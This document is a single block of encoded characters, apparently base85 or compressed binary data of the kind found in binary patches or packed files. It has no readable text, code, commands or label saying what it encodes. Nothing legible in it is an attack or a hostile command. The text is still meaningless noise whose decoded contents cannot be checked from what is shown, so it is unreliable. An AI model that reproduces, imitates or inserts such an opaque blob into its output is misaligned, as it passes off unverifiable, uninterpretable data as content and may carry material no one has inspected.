z+bn&vzg12YEqw&gg@^WAQ?9L`BwbieeI|2IwV1UJN#DqkCJqMjNdAexB^_PsD3J*1 zqv(HonXDjRrqBWb!kp44f^cZMwjjk0nDemUNb+n+y`w?ce=+I8kv}75(4%zSD>CV% z4zkCgwCM|7_lZxLllT6e#*5g1Ke-P97f+w|h9_B~Y5bzqmGr<~CJO|8h9Y1;0zKun zMYDDKAloz0G=sZE6;2(PKknwxYCLn=8`(j2c%#bVKZ$Pf{>Sg&AoehXSob+Lw%^`B zhy#(<=-I$!-CQAv<70Dk_{dDK4ts=bDp;jW+?KRTH>vY=MrNpODn`>ddckdh1CVSC zxzxpadyc&1F@##>6>YOrPKCWJL%|q^g#W@!i+msRA?fxreQFR{a7%k4La&f`sBoOv zI%~*6nykBL$PA4!I3eF&>6AdFybsx-s^uMhHQ0JumK_Dz?^JIj>DCTWtvxNR$(QZV zl}F!c4=VZUH@dy?{q4<`R_5m0n>VmMJ~2->c)t;1aXQjY;Z1+0=VAA2&q&s`=Qv?p z?LGBpa3?m4ZhC(WO@J5E`$wI2*nqTCb7{ZOX@vvQPROOT=(P9#yT8sMIt`gey;tk> z4U%3W!iRRD=U+3EFkZs=?D=aMZhD_&WU6B{ho!YxJmwKH_?b4~g)~Va`sk2q;8lC!( zPW?+hb+SsmPp96aQ-7XMJxQhBtW$rgQy1n_4^yeLb*g-?8ko<|r}|Xt1f81Jsi);r zKYLdCTcJ}I>D0sWsjsWlK|1voo$AS_ZcwQ45RRq7_4xyD#TcKX^v){H#vB zOqX4ePkmjbKA=<2)2YkysVh`!lTMB6)Su*2A62QB=+s)BIy0a8GnE?EsmJTo)AOk} zsnnx&>WMlvluvC`sXm>0tWGV=r#7h64_FR?{zG)?yH*Yxr>fNFb!t$jZpf!rsMJ5{ z)DoTgXg+nAN?j_c)!zS>Xe(GKnbi39@uH^_oUcSKMsF3yQst!Ry!{~_lC#9!1J zH=}Jnef|k++f@}9O_K6aPdR_O_``-mfzEsLopf4^Ce0OLVo(?FLot)v1F~QUH2%ReG5$l%sY33j*m_h~eP3ITw z80Dq3tUx9FYr+PW>U7^}*KuIxMSH14@I3)a#iUuQG!jvWX5%D2c7w64&luZ>4rxE+ z)+9y@GKa_BdfUV|U1KSV0f@Bdf|ns%Q2c33QPw)d6@X=vAZN zXIKUb*;n6Qe@>M1j!eekJBBV9(m1|48H|W+9qqWiFg}N;7QdjO`ESdd6b>)>OND%x z&|W%4z*4#ZCD9qwXDb**-g&(b2+TXxsL2lQm+jhQEaQsFn4MdBCwT!!Qj{@bRy${8 z&;w*ARndXHiY*Bq1=u(8q3?>k>$@Uv7#OK*Y?P?y6LTV`Q7w0j6WFf;E5jpVft51` zu{J5koGPb34>KD|6Sdpt58+5w(WXT0w)w+2i9?3USncNdZ$rSSH2Hr@4|R|3iB4TQ zR}^Q~>nmPh*&J6aSxog+JpR!pna+dpJ=l3wkf6 zyDa@ZYQUOK>-4;rpf+dnZ@`B5aIXFIvs$5Tr##>Bp-%aFgX#Z+3Qv0td*^YoBW`;Yl?NxMP%1@cbgzDJQ^9SVDJfOyL|hRsyY|`Cz%97LfGLF1wk1gT57xm0-6}mY?#rBCW;p-RcM2O2n8V} zGXlybaT3k29i`Q_+S=CEo*vrMR@+*+cp(Xpgo|9QfY+d&y2tSX+9m{%`F`(Ody;_q zo%8>m=l_4s|9QSVPiC#X_S)huJ5YGN}i7H<8eg#+9ve6*OgPlx%EF0q?Q4{f&+J)qlepH0nZt=z|isZCI6{= zq)*xGlfsXAM86dwITIKVKuy z3+z0k=p6y$G~ux?P)KL(lQOi}#HvWW^}Hlk;kQ$eb3o%uw0|&%?RPiB4qalO_E?=N z*^sJ^(=`qMf-DTUM+>ks`_;=E1^-eleX3{kFS z=C!KWgU*XWEAuCi6V^WAM_Z{66L+^2?OS;f*HY>{egBi>XnpkOAHI)yH`awK% z?LRN9+7@;5D8OBnu%hE={V6Lt0Mm=V1AGAQ@ydKo=aiue*IKWM7m6KrHC&zAilK3U zAXJe<+sE)Tk2ZxJJ<%%2=hnYb%Z5A__r?UZBV_{pnAWTQnM56uu+<3=O6@t(eqP+Fi<0$>QR>7 z!tMaYE^m@p&e3I8}! zwhl4QGAjz`aPfbX;1;jdP9S%D<^0dE4)Ht9&cUy(eJff@Cac89jm0XG_TmjR+3 zR}Wc-*MJUm%L@?g}Ofg3ow_tDlO!CN}smdU*Hf5-g)wJK*X3mfTA5uPe25 z!HyZF?g!h-{mEE`L~hpXFbh^=mnu!j(<#Z6y-ac+Pr7>;A7e_z(LF3(&@`jWUDqTZ znjOUjHAek!L%_$2@!2TxD9HdV%j^`SF@iPT}bdxHvKD9+LdeyJV~c2d{jL zPBko76<^anX~xn)CB{pwQ;e4$OcR$zp(94jZPI?|f8k6GY2($S=|_3hbRvbaXIeWj z`d9Z3Y<_HA)cq6IorJ=|lW>L;`kgSt3CHUE^%;bw@zS19*Bs;F`OKG5cRNiBb(u!p zr96hZrW$p-7~zQd{O{oI(Se~V`R2e~p{^N5U5k3UEpT?IYqn9Brk*N{x_{@B=!g^{ zWPI=qw~78h0G18b_aGN9Fg8=`rhjBq4|*JJgK2!_%5C0vJo*oIc^R>3(Km?st#e1g zT#0TYZg#fhF-XBwzWW%5)3aQ@qIUc#Z=_ADaX=+?kSB{gM%@ z)4#6^W4=ni<=l5Qb0U@=Z}S!mgt-=PBG;$6J6Vt3sMrMt6>AvYsDFd2h8eFv8b~j503~*XKt}&1pQss?Vus27vy2jp z1AWVk&A#KY5lj<7wo2<$RzW<)XW?+JJ7Xq-_RG^sIuA+L(x`wvPZjI-S)5qjTb^bj zVZl^pn4y1k`ikE588^J^g_f$4y*BdmJ-ifZcKetejFsQCcA4yz+gGQG06%hRdHOSK9 z()*Cr8S7)dAo*m`L7i-k2+y8%VZ0RgS9Fl~$$0j`hxi&i>_z>8uH|ucT8$4bR~?3f!KmeZPj%0_fkrhai!aX;EN2`$wvT>FX37ro_=RreK`yO^2jXh{lW$wO{}rt!xH zlA0V)Sv)aYsC@)UZYd=)FE^0m&F$oU|KLD5Vi)5?+j{lS9{Wka&Tsi@RH7{GQh9Sw z%c&vXF14ox&gM7ev@i4QN?sy=KFvk>-ar+W78aITp96iU4E$)X%tNGXt(F~*?*Aa;=o*iCp{EaDwbqjh^N zn9TB7j{b}?i_z^lN7@}2a$1l7#L|{c)6&pkaPqTXds?kf*@*ns%EuTsGb-~^ z@BSIcWUaYMZBkL05}Fa6!SRDBE(uKFcV1vDzY7DI{4Nb1kXg-$?W(zIA&PhLR(b3n zdy(~>63t)s>!&o5(Fr_!b}kJI@5S=kJ=*aFRoN;33=38WN;Y`bIl%G2y41QgH%uY z$|RkZ;aXA{o9O3IEp+6<;4q&xSFIC;rn^Y?S?$qdgx5rJe#7Ev^+o37*jGn#%A>EV zx9>y`Bt9NtI(UnjxdrSO-Y9QEyD<5WQCWJ9+_*@zHt!i8E4AtoLc@&Gz) zy$g}2jb?}kv{{ZE19m-%@u!TYOz0lm!KIpUSM2=wwQ0)`(@Jh&=_3x*6iYK++HODJ zpCyIlSV}*4EE&FpCZl)N?_X7__(EsglZqm;m>4Zy6P4>S>($~lFUPT)B75Rh=+)G} zzWV($&*BuR_0~0Q-mTl<=;?c)+=dp*N9C06wTenCTQv5M1^SnSmZ|0^4UA2O(5F%P z=9&Sj;=jjt+p-gv#9OF1I4D$fA;?0S^!GnsW&exut?yX9Uu2@)UJ)ZaQ!zrZOB`9Z zGwJ7(ntp~{f_{GK?gah3mm%+_pR4eN+#u*i5zt3ULDDL#fYr0WZN2EBIfg z=;%`Wjeld}4LqF+Itb%L7E>x0+Na*`hJ*@)TJpCSl&up0@I4uNvW<23g{=KIAP8_v z)*xHn%iz3%1WoI+KF}2HGnGCed7mVs`Mihk%#A|W!n{r{Wn&V`wocv|>svR@;B}>$ zyQQ+IX=yf`gT4b`wDQ7usWh$q%VaJD`+sI~@OWuRvL&}+KPF!Ib8iRbijh9ddF|RnD;DR=-#1Fz>r0y zeC2vvNMEmIM`3cfyvF9SvSdr6Yj}bJ9(h0Dz`l9wM1{6WEjzX-LBP79!PuU>@e*r9 z4l-y$33J+aD)-evaD0y%paz*Tp@R3< zdRP*jR>M;XpqA6jz~xYva{#}!-iBLp=9X5}yh7(O47yhM>vMqmz4oP(ohB|HKpD$q z;9@D2;-_6`>=)%ZdJ{vy%N6oa>2rU+;Z7n#aB4dI7{D5yEC@`gpLn4bz0n$;RlcIO zRj(*|ypxXf$>!!?8Ks3I{Z5|o&Uc|W?%;+zeMHwqioa^Gw zB+>O8#wN?eD-wNcnv^wM%_ek6aUcx}-J5efHWGv(p-@#qw^ztRs*fEJDxH;~lK;0< zdVPF(UjekFaL>~7KI`6~j{eodVNwO&P`GZ()4 zPLKkJ-1^21c}#5}t-x*6of706hxr6?A3erHaA2jk=y=d{VD33SFpIj(7oXx2TG%B; znnho%`bKSQf>N)JDoXts(1B4`&j*THm*a*v=Jr~j2+n|f9&(@1>(1)!A=(>}4+*h~ zWjQz$`wFOchhlGpcvnRG!kjaS_Ky@%{wn;Kcy{}JQo{7LifG>`>w;c%1rwC}?^LGe zduLM1zPO<1bn<;KBO~L-b|T>WpRl5s%A|m?Ay>)-EN4dlr4y3_gEx2*iIHU@hwhK{ z6Ovsedx^~u>b=UB`-L}Gis>I5q{vvSjZVq6qQE3*VM90NK9d&-%Kh)^J~uJ54zke*M$SJP;c$J(Cf`z^5p6|# zedDSNg?6km)=MU#Fzr`ZktObvbf4{hQ>i6Lo{m(-#`naz)!<&X7!!PnrmMF6ow3&h z{BYVt2{MlL9m_^b%L5~H%Vofvmj8;XoT1jcE5!*2i7H&1o$(vBtYtYv(mx{y6xpnW z)YZGN?AU65u3w0BGbEnc;me+MNIZd>h)@_p&V2reCOTx?spwV^iuWCo`J=xEnhw$4CJkB zn(!EzEqxR~x<9ek*dy5xoRO6AQq(*3L;Ig+TD@?kEM3_nngqjRcPcY7X|wb_vf7SJ zS|)F!zvY!_osinR(Z_kv<%}{}!rg0^RWL)&0?Q?H&skuGItx%-;w&&DdaLB12D%l% zhQOG>6&qz8F}hSB6_afZ?E4tlS@6heW zdZF8Y#7zCaOSezabbA4#+C#XXr>iZ)yGAfuDEA>7uhI(*^4-S#nGo+U|ChwO+%c&; zO)h=sann@g!Nk0Ck&QyK#M`(y07DK#!I9730XJC3W79+1J+vTt6@wJHI$3z)_zT~S`U%YTzra=PZI;hH zq!Im#NcNh0lUyBB(ma8)!E(D%+)B20a=Xt(BgX|fStGrgh5lh)LsIN4MY{>1mq%7> zn>}AuT=a!e-%3v7Inko$IE4n#!h{BqKH0sOmH8tkTH3S?N!WkgBQ-g96=%rZ zX5n0_5ht3z#um{%SPNhzT2uED6Oz$uy>1=GQ%UV-ivn{OdaWHM%3!re=P#ODQv2yO za~B0M#FMcFX;E)RvuQlqY}S5e1_SfV+GBGU1?KxQ4%Z&5Fw4B&jKjsoqb>Q{jbD4E zyf%)ZDJ-@AzPkN^8?3#x?;O1Um{T!-|qS$o7~95u|^E|*d6S^;ab z4Go&qB;G6LZjrrWw6x0lJe-mP`H&`!GB&;2uUfJull4{Pw?M}44ym5jnz|7I0zE)~ zB_@n(c{RLxq68zVFKJEv3F%B0L-+$?1BexOw0Z()*!Kt zLNLoteFmI@@O~fVfgv_o-)%VBjT~7!QrbgvClylS- z-xB-5Mj2}R1R88|tnXG=6Qc%7{(h*88CPG*z^1>VD-=H!%(DLiD@CvIC;~z*^k^FD z35zCw`w>i7u0$EyZ@ukr`W)M!6YqmTs%(QEodM1F7H8kQw9t{Hz^%x-{Q5uWw4`=; z^N<41CFy{yXc5}@A+2XAr^mDX%UG4lD>wHj+4iu!T#; z?Cux#Jufj#+8*aL;ksyl>%w!%a{6^kH-p5&hT5lyhl|SfP`jK;LLQghM(FhP2dbyb zf<@<6|BznZr6fc?7sH~c;yv-8>SgJIBM+*p+ssBT^jCVKw&x|=7bba)Hs=Rl;W zkPYL_bjk$boTch>?1=s++zF~?A0tBn!+~n~aC?tVwJ+~(kp0Aq-MtgFLd9(n4pl-f zz;g!ArSU&eRwy3Md_N=%F6DvOI~PQvZZ7lA5d!T!pM@E8#-U4C;>D)*hH3p1<2ULq zeG!ZWF*4?{O(Zcy*7$tG5e5 zzQbz>1>G|* zzfs&)5%cn2uJ}WJz#VeFB7gl;)U?Ks3z8WO$r5U+=}Jc|3o#(_(SB@c4r)q)l(U#DyhR6P%F%xG&PjVh%(^Pc>NI>X85daq$7RhWfbMpi=}oB z8`j%q?py9d-ok}B<;H{m22n18EIiE#aByOvd=Xy~_ah54nY3?69RQI>k1ZAH8l^60 z65p%Vn0;9?btRU}|=7*`$njg_IUbS6+Z4_-FDZHkTW zKxu*9#Hgvygggu&{KzpYFiL3!SsD`TU-Zs`33aJbwUaYiZVMW@)g_3h9D)*EgD-NR z7%cLwh9uW@R{xW6BsJq^gEzDEI*^Ik>P?*{lNK9+pL#lE9gX4bdYpCM8kQ}GCAi<)uKR3AXA^Y{{fL6?cb$VU5!y^ z1MSvP1;~eJLz(pt1>hG_5@b;7XHgLKbp@EzR5efRq*=A@Pgjp;9P3pfgjEV=3wOyyAv)GaUKke*U z-`Ab}7f|zcojuCCUY&LK>g+`6>|Wlh{>=lVOa-z^yfji)gR)=G)LnXd$NJ+k8I>XF z5vC&ecO2sQYfr3W=9VB9?5oK~8pT(Wi?RN(zEjM9^sl^8@TDNlXSK3Js|v6K z{)C*!jgrVM&6a2bk3Fj}x|~Oj5?3J*75xw{gj!kbO!p|psIxN_2hz=&E6*|NeoGF! zg1oJ+5dfZTBheEc8vQHDxramqH6r`6@GD;Xv6S^h&SPxg@GE2=@6E61KBqxhChSs_ zdmP*KwI4Q8xSt)}zcE9q8P*0xvUvtk>!3HXm=*i7Z6esn;*~z*w(>o8)!;Dpt91F& z+GYO~T)cLzT$22fh2amU{w|b+;L637VaUl;7sVpCS6x_%rn?I>K>eT(X7{g|T~M>e zEXY~iU>5MEFg=~rY2Jp}rI>;DgIl4DQ_CqR_JV9j7;zbVm$2yyf0Oe=>NV=7s4b-~ z=P_x8fX6rzN-;4~3jK_Axx5lLm;5l5VBT{5;Vmri8l?r#3$}#H%kvgah6CzaS@MOZ^s?56-deMzf<&Qs6p%(}c?XH5~_Xix6`_xLd5g%PDig z;Ta|FncEm|<&v)t$5!kKG+>DnQ~D4P+K&Ej(I$*f?XM04nCNQJgA-~|r;OrQU7{%^ zt#Z7KhvIG{^0JI*MW=tkTQmIbbKejNHeCnzlZ~u!4whNQOHf`m~6F$17wXPt9^bG~t?|2t4a2zgxg4nl|eucb81^v^9i zH^{bHJ*zkMKk*kez0WwOy3aV5L&3lF3r+mvc0kTJ86;gpSy250?C*7#uc`fOpLD4G zBh9)2CEXe9KS8s9^;yPY$5eDd6F>S(09;On-)6M>(kx}AS%hKx71wRpK*hmyc;M%D z6qlp6W6veKIs(F-w`a(=Fy+ppoKlI)G3;mGlPMGcZ6cbfe1O4gl1nCSeCAx(#H7mo>Ly{9MGSh+4MAAh5v?R+O{g4ts z?S!cg>4?xaZhc|Y$RS5rtYY%iUyr{YWHAqcpvv+a%MjuO(ZL}GkJ7=Bf5~v=n>iLg#QgZmO5`>oHpR4{;Vw>bX022dGN)T$s zxOi#uaW?Blo>#nITlf&}fvo4B;VEdeh9nH}AN>_SwS{YWnMkgctJO^H5q+g1^iF;!sKp=AooDm$B@$-i1cJ;4FJ?B|MSj{VVxm=N%;;$bG$ z7AWJ)BSOoDrUcKj{GLc{`-z4BV3)YtfSp(TcoH)4!ZI7X#hwkHA)$ZqA}zDWDm1TN z_SS)*=)BP6tKrXxy~KOrlA&vrwUXU;gQ&pC5yGZ?bA-%qk!`{33`ee=wJBPr~WiEKL#L!fEnRTSZI&Ow80HKIaWV1DiUJL&w(6$kOBtdT$f@_yM(gOlXeMdP3l2|pp>TKt`rfn`uTJZ=p0TF@ z!1WJn0Nw;o69_$fF@Qi-uLnm6{rxwFYSLt^esJd5X^$U7%i~-8?nBbM;6LEiD>XlV zMVq|{x==t5ePB*|0)d+;u5A$#;$t=Bekf&>Q;@V(KDcM0 zIqJ8#%5AfMFj7$ib2!hYiRB6RAz3Z!DYTkGr8#%r&v&8oD|lqz`3BtZjSqEOyVMNk z?!nMpW-Ids8fRakKb%6`70s5RJ=1jVE~GkSe-3A^g44vPZ@_cEfn~CW`e} z*ucz<0uN7taJ4d5z*Hru&*d|&?nNILx@fF(US7?o(2NMz?Y3{NlVdfl!%|3RxeQ?o zE{f$T%9Gxmr^)WDQYv-IQ#!>@%1oW|1D!IDl<(=3 z)jFk$lyaSNmrhwm%C~gN?JC8pVZD-Aq7$#yi48h&l1?0_6QR2#=cPJvgd{p7FJlp? z>=}oCRuh0>XU9BTy?eFPGo;_PdGVE{bgkpP|j`;0sbYz-+rH;(7 zC+bMKeUXmLv&ZO2fqjmSRM`V{WSO0&B5FwOleN-wOGeT@s^c<%_Io-mECc(Hjz1~! zT{bM+^>~%WcDDfwByiMY3b$qYH>va5(#Fy!KyTljjxGnK=9X~4Z zTXg)m#Qi$%0;=svIxb|Rou}hMFxojfK2+jEb=)KI{yIKZ;w~M}llVVt)Hn!*XWKen zEb%vV+%NIHIu3?&*;{p75UssI$Ezg%2OVD~@h5e>M&gg^c!R_nbbPJESLk@T#H)1t zNr}(V@pTfPq2td;yi~_GNW56b8znwL$J-=6R>vQc_y`@}EAcEHKP2%K9dDQT@ztvD zw!}Zw@uL!N*YV>Le?`aTV%Kid@id9QpyOE*e@4fLO8hrE?veOoIzCq759)ZH#A|fC zK;i)%FP8W`9T(oQJyXZUmVrG@$7e{~tK;PoFVOLM62C~tt0eBx@nsSpqT@9ZPt)-R ziJx4h`o31;M|J!$iNB}gPfGldj<1vWE**bH;*C1KLE_I!+`%)&(^2c6?p%t(Oc%a> zcozRbKZ<)G>eN9c>`D3C*ap+AS>^e0=uDqwBdN`Cf7OLv>j3`z%=nJtf&xV2<0u~O z4<0o`JGh%QbDQIBMOz{>l2#;JhrCvBnbj$7F1dV2@>*3Xojc(5#ruhCNAmhgaeYiHwJH(a`r~ev;C;O{85I1OVP**`V0;CL~Gw& zyEuRjwhye7fmRfJdaLWrHz_65nnfO?EyFkI$|P{Y>$;bA zL~iIwut^Xxzp^xc{>%1n)oKBJEx^|Td?RzS5=?VwD$UPvHP9tNbl5v|wtBOgIy@JasIZE^NjAXE0m|>si zxK=55L=v6z^X*x1DTl(H6eW(+)?l%$!Mrop;6uK|8l)9Lbo_nzUPSN3`rx$nG^@&4 zM8g?u)(~q+meIOz(LRAUwT$FIwrXkj?61ai(9*Alm&DQ;_jNFH`475bCQsntSKaXP zgL}H+#pneu>X^B@d~(ZOB4){P@wPvR zBiHc2*vlokZQMG#DyM`~lFA~*;_MZx&t!^9rYy;1UnZrFrqtLvm?MAe-HxwnMBiSG zSkS8xw7JZwZR*$5CVgl_LP^)QncB9(cVRp+7b=cu_Xq#!&utPjOz}417sDpPGn5R% zAi9{Owm;R&qUI$Z%eq$coBulQelh8)e-Ngj+)Jh9XR9yeC3*_OVzvzA2x7KZ+Te`i zy2pFQvD7+@eWDULPQejnxv2dza`eTW7`aPJWaMIFOLLp10x&}{q0YP8)u^WPE|4mI zwBC~%Q+PML46XY5MXW?sWJYCp=8dN?4KOXXR$B2ALQHBTqF_ak|5u+!J=mAYkH7S; zEQrX&e;h@*DCJ6X13(Fed|9de_$v;HsUtTE#Y0}T-GCaiJa~C(q#Cc&k$aPhPOaK0 z*98D0Tn&cQ+md!B4_BlW1f;utE6V_mwkv5F>Y>B@kNGFRN0rs+tY(gShq~R3R!Wn) zfsm6w_MNOZO2W6Nm4vI67XoavXFqdTD<4Ma7u(_%v`~eq%{^s?C2p|A$!H z4HTPL=QYGhZZqTiV;9>pET9DNfYs(?RC|I#36j-09Vgu+V}T}~aD?QnI}N1o*qX8q zGwXq=rMa&$WBmuiK&@0h$tpul9_DvY!jg81Skf-x79M{*f%Hl`pNcW<0H*Srahtr| z3uMD_1tw4b>vdlO(bIX@|2t>~SHQr38%9(ck=6X}y1uwq-Vi^f{#KRXPec9H;^YOR z5deN#se6aNbAL(xzLGHq0=9U1;kz3V#=OSg^g$N!LgJS?@lnLj*2(F09l?z-Ka*fq z@q0@BexZI(s^8Dm?+NwWrGAg2YpI3Uw7cPHV89<YCNt?A^QtPsX#qkavpfA}{2=tb$f>YyN`H0T1UdcZx2`E2ix5c_haKDs73#}FU5_PNvpA9IEs2CvZ&06(;|p@0 zD}2d*I82UbKfr4Ug}?>kk4w{x@`!7z%oO#>Z^AhaRwOl8$rB+HNsfxg4M0{SSdoL9-x zw?nQgF#f*jqwH8Q)!i>;Qr(1j_He0%Jl_;Y$BG0WNrt*`SZs=>RO0dA5yayKFP)np#<>&NQf=4)Rce1m7Sun>Z#;ci zj>Pm*IcS9?hU3+xL#g0WDu_%=V<(PhA1GDb3|<_XJd$Kr0RIO&?eO0O;RScfdF3yy zeWlFU?-fs4KWMxOq7=GPT?I!kyDM=AV?WH-GPda(Wp}Zk;jtt2NSV0W`=)k+YoanB z6SPtA#LEfCWZ5oPG436b?dKr)ltn_jQI)FicErzprv1=w5_jjZDR5~oDaxF5Cl}`z zD4Q<6J_viMrKUCLv3URAFG~p}B{&YSa;MN3x zjo8j>NMl^s=x#jURRdES5u`Ky7{XU%eord{3-N#WKPsgcy*Lzd2bh*=FIUqJ<%r+2 z{lUS4&1I_(B#+{nCHf;qQJ&n0$CT6};}c(f_h5U@Q$7288zUN9?6)3OM5H1!?fy>t zin|>=t~S=|ok*G0LQZ>b;dF-%KB2cz8|zt{uyH`r%juci*1az$+sMT)z~z8|+4da-JCLS8xPFhli&vrJrvhB+?6Ehi6Yw4(W{`8Y zpOJS6IWK5KUZ?+C+;~|pE5WBp$wpltRrVg+QUy4rt?FIc_fIeFj;}2Z6Qy$Ylom{O zO1o4Z@|@DJpMf9B(@PtYD9xsA7roWt6TxVuZ-bz0j=-1)qG7kWK?Hm4zc74aZ90&y zP9n-}Z6OyWtFA1K1aflXH>54Y?g{3A`rydR>T5iQse?vtieebRe~D}GgZ3`Ot*th( z`~M<>tnrp2zFyIa2NrO9#SLkY#HYeHq=6GIpq$F^I1G1HTtjl>DV#1tz8Mr-8P4;E z`X zRFY@WKQfR?&m09Gy96l~mCTslraIuY!gAg3E!w&2QnM(!;zAKyfNKFm=|_!`n?d+3 zio{fWuk5a?oqmJp2l*>%*6N9?-Cg21C3#eM# z-{`K${=?5z-F_`gbxN@u5O}vA)#>(0LPr34_Jedsc5^_e*L`e{?nDnCz=KW*%pei; z*=bLdLO}?)LHJX5X;M(EOlTXtEbmbUE+O>B>wz}n*$qC}0d4lhd=O)s+9?AN$^PDL zAR~lU=9zq9nu72Vw^ALW~*(d&`CYkfVPJ7$Q zc)VK&REqDd1DecIKnFBrqhH!f3G~hFbVrmxcX+}#4~6^;3O$ZdD2l`PlBPfJ2%i6EWF=(=}h(F0`j&tpMh(UqRH}O>LWqa_zH5+sl+|^4DZ1^s|hyBxF~8hdv4BQz$`JS%D$~ zRjvGZ6qz_ru{XBZS7$N<9Jw*TDjQ+3KMaEgog;9jy@Vr%)u!56cL*2HT}k-W?Me;~ zj-_^NK@?1#RbzcSwj>8xHmsI%hq|B9%~CC8vxYW!=1$sFyH(n+ynM)d9onl$(=O@V zqb@n6(THL}Ouw3?yHhOPDgUp!vy}6e)Bc0V&&mbw|Dzt9Nr%grs2+R_BTHocpQOY@ zPZWdPk%U13hB5vO{6t zhXh9>)k!|6QEvK^8Zl4uO)t#qErm1dZJZ>!TQD=e;?wAQ@Fe#pc6ip&=Vh%$e=7-= z&-S671dZSi``WG4F);eVD;u#EX~n|6ws_;?=9pL9&0bVt#%wj4PNe2Gqli>i@!Axt z^yjuW?0ds22HHZuphOb}26`eD`wz5t?ydL!$PNyJUz&vERjgm(%!rMRIQMS+Nv`-b zw#4$0cUPkDMheeuHrf8IS99CSDh^Gtyg#=Oyc6l4g?MlZe(|u8@-ZU6@hM@d^;hhL zF8+onnT@unhqihn#o}vlNvgM~MP+6+|H$^|zPcRsYu_6*Shwy#`;<`>t=qM?r0CU^ z=dvH#W$3c!HggmB0}RJBwI|!T-xKa-*&(ST*?r2&>~j?y(5BqfWWu83D~C8k$w=$b zyagyM>M|Z4$JpkUH8Qa6J~30m)HTTzJzi$L1vScOvK`wpqPElNFH)^G>-Yv>&t)EX zC$|Y6o!QBKF9NmJ-UBvwR%S+%IR;}ZJIt^PZgz@!;7DoiTS0pDcQbNtvM*AN1=}55 zz?F0!E-PwYkXa}5QJUMb{0&B=&4<B9nrKjU%H67dqoi-gE z!PmVq2aY(9Q<~c$V6)SVtU|r73G1jOMO`bhMeCuZ zkge3GE>9rG|2cTupiSWIlN{*&C*tj8w5tbie~+jCkMZ^=6Tb#;zs8II9^O8B+kX#l zpYD@jVNMr^wkO#qIJDh0DuJ{Ss|l{oe;tbK5fRq*hs*vQTKXrYk?C(&hG#vD{U2Ug zUhLz{dcbR84?Jdlh71m3d1u=@*T_L$-3{fzisJ%fGlw*8ILw*?&(dL-qHy^)xh_B} zN@_KpYOYQ#b2r6~m}{~KLtUxH!|70mn0qIK*V-56StUhpej;aYrx*{uBuNXDaPdKqfrtF!Nwsf$% zD$@m1SM=|^IrF2ejj1vUO0p;VEE#G}U>x~V87q}$THB*P*Cpx%#)qQ&U@S8^_WLtR zGwPT%DrW?Yy7P!qSm4FzQT_d-G~<4V{xh4PKdL#A8~A3;3CuIgH=&+JSILmcajMn# zuw1i6r%{AT5O9i4ky<{;lPRk?(a(6`Fgf)&r1J(CFhkKk_-c?&;?liZex|6|e^!z> z@Ei3%BUU(TX<$uBWEoA)4V+CwjQWpA4wYH)jliHQdYDe=*dAhuu{eS`cm;gY>VMUI zFs|lAn(=^FnkfA6XnmsVOVf42A`;XPKg?^TQ5apV^HBMzNojWX8_5R=9fdHIapX#EfsVFLDbJ7bBF~Jhu%GGjjv-;>WV&Q za#Mq^qbzry`TS7&07%MO$u`y>FxGFeKDTy8KjEZiV$RcjOmY>R6ZjOuc{AsQw=wo* zU!NtTZLM^hoo{;GAN#O-pW=1jb!XwM2Z-d}wb*IB@vtaN^6*Ry3uO<^<-s4BI0Sus zf9T_Kj*Uj$RirIPD{JC+#)AYq-;@`HvmQaZC_HPk%5g3^Hq*))bEBN|O^iH*T5d6$ zzHlR9{L4^#UreO|T>i%}(O$#*mw+~^>0gXS-9v)65Ue_9$@$ilv`>w!WHcrBgnb7; zH3s@%yYt^nG-j}YBn=^OJdN3tZ$ zD{ePJ;%=E32m4uqd^UYSD=U3P&Bg;|>Ur~3`gv)8irYeWq9yVLQUV^V?zVLLP>+eP z4h}AywIw*9aMtEvKl;2qD%^L3*f8%XnWm(vO#KRPO9`eFo)dT$w97H#X>*e-dT)3- zXm0b;ci2u{e)$}Dn~m1zm7Rx-^?RwM*;^NUIsisJ zr3-F0_eG`1_L1hkSksY_-i$-$z7M<^=qSyi#ImPLa$gPZtjEg4^!2KNfkBkmRB2|k zU?KTw=|C(6p8nIw{{B)!lQN{4g~hmd9PmUAye7#N1aAHu+8)P@Pl4t8TX@!=iH+vF zjp12;Kzbe0A8@DvP83W0=*JkBidjo2{}YYvne; zIX2NstYbC3vGcj$TYq4KtRBUOQGJgYJ;|A#;tv1*lx>%UvQ*Rl+p31zr`iSgwzt zu%9HFebnlP&H<+9Aq?;n-chr0# zF8It?|B3w{2pqtnu74ek0OU5}T!QUIzedSi#?BQ9R-cw?OX2~0FWRQ$w*DO&DWsp1|=35k?Ou0G`toq}n8YqGE~3@@hO zcH8aD8cnbcaUYaMO;OR_s9BwSvBH2s)L1X}!xGFaM>w~TS24lTNKmzx|6A@fujBHs7WGjX!Ku=s-dL5kLb!uC0^?f zIZyHqZeGdrOe%kd%iC}^ufW&1m$9~WS89-mHIV&@(vGeUz0)50;4sAnhx3gPB<@os zW47Q}rfm3oX6<{Y81xu5jU&C(!qfUGaW?5|Fkpy^et(!Q*z&;=*rNxlgsy1)_=4NzQ^fb zgpQ}(osa53d`;3tSFd|J$jA)z=kAW-dvZ@;$eN@{g~7fx%~v!GjAa%lw_vlg4{wWI zz&b)Z z=k8jT*3vhZ#8^K)+=yX9N67frcG(QhihTcuJ)Jkd`)@zn>hX6*{Y@v(k7)*=uEGhX z8A%z0VlqX}ZypM|@VnbeFwBjg&aOEtF7a>3IQUf6HdVgW+wsA&FJwE#M;Pbg2R1H%${qv$w->T7bP3;W~A5 zoDeHIeZ4CGnBD3|Vt9}RE5IjG8WBHC+h|F}Q9B(9PHv5GMbyFK%wLsQoWr?5?J#a= z2{rcfKURw7!ddoN@^Umqur%*k$Zd(pXwNq{@l+?1P53yaK4-=74I}GgH=3Qc@SB@) z7wg{Zx;dHoW!ol0IvHeURfgp54DJQZ9c1vjrlxeHnlOix0z+yF^MYK)-I%1W3hkej ziWm^rY<}mOEg=`uGs7Nccq}u_OyAqfvW}J$kR>4+`FJ%PvOw!?D_LI7sIr_nqiz?m zReiBo<+qSbJ%lWlX&rk}4xA!Qfwe@$3=rP5FU;Tz@bX~0UP5F)@>o(6fgpWs<`@x2bn1J%Eo z4^&Izn4KzD;2iM_n@z_BIxBWczum2sttm-)E=kgRN4zz(GR3vpBS_1&pQ5oj3n&Y8 z+s|AZkGJ#%ep_RG{S`i3a2`h-7@Z)5St3i5?7jP>ci8&bt+LmWT>zf4dQf$PVa>uZ z&GIRo0y9-ESkqffE`W-T8fAx=Ay(CH`vEDa0{NF$^{U!!Po%8UiY<<@n%(xl-QYmo zmqa&D*AN#bx5!2)xi6trG;D=FWE@kgvbq7Q{3`)VT~_A_VC_rOfR$yx%~2V^^2>$E 